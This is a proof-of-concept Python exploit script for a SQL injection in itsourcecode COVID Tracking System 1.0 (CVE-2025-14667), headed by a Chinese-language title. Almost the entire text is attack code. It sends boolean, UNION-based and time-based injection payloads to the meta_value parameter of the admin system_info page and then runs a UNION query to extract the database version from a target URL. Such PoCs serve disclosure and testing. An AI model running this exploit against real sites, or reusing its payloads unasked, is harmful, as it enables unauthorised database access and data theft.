CVE-2025-14667 itsourcecode COVID Tracking System 1.0 SQL注入漏洞

# CVE-2025-14667 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/?page=system_info # Vulnerability: meta_value parameter SQL Injection import requests import sys def test_sql_injection(target_url): """Test for SQL injection vulnerability in meta_value parameter""" # Vulnerable endpoint vuln_url = f"{target_url}/admin/?page=system_info" # Basic SQL injection test payloads payloads = [ "'", # Basic quote to trigger SQL error "' OR '1'='1", # Boolean-based injection "' UNION SELECT NULL--", # Union-based injection "' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Testing SQL injection on: {vuln_url}") for payload in payloads: params = { 'meta_value': payload } try: print(f"[+] Testing payload: {payload}") response = requests.get(vuln_url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'mysql', 'syntax error', 'warning', 'error in your sql']): print(f"[!] Potential SQL injection detected with payload: {payload}") print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url): """Extract database information using UNION-based injection""" vuln_url = f"{target_url}/admin/?page=system_info" # Union-based injection to extract database version and user union_payload = "' UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" params = { 'meta_value': union_payload } print(f"[*] Extracting database information...") try: response = requests.get(vuln_url, params=params, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[!] Database version information found in response") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14667.py <target_url>") print("Example: python cve-2025-14667.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') if test_sql_injection(target): print("\n[*] Vulnerability confirmed, proceeding with data extraction...") extract_data(target)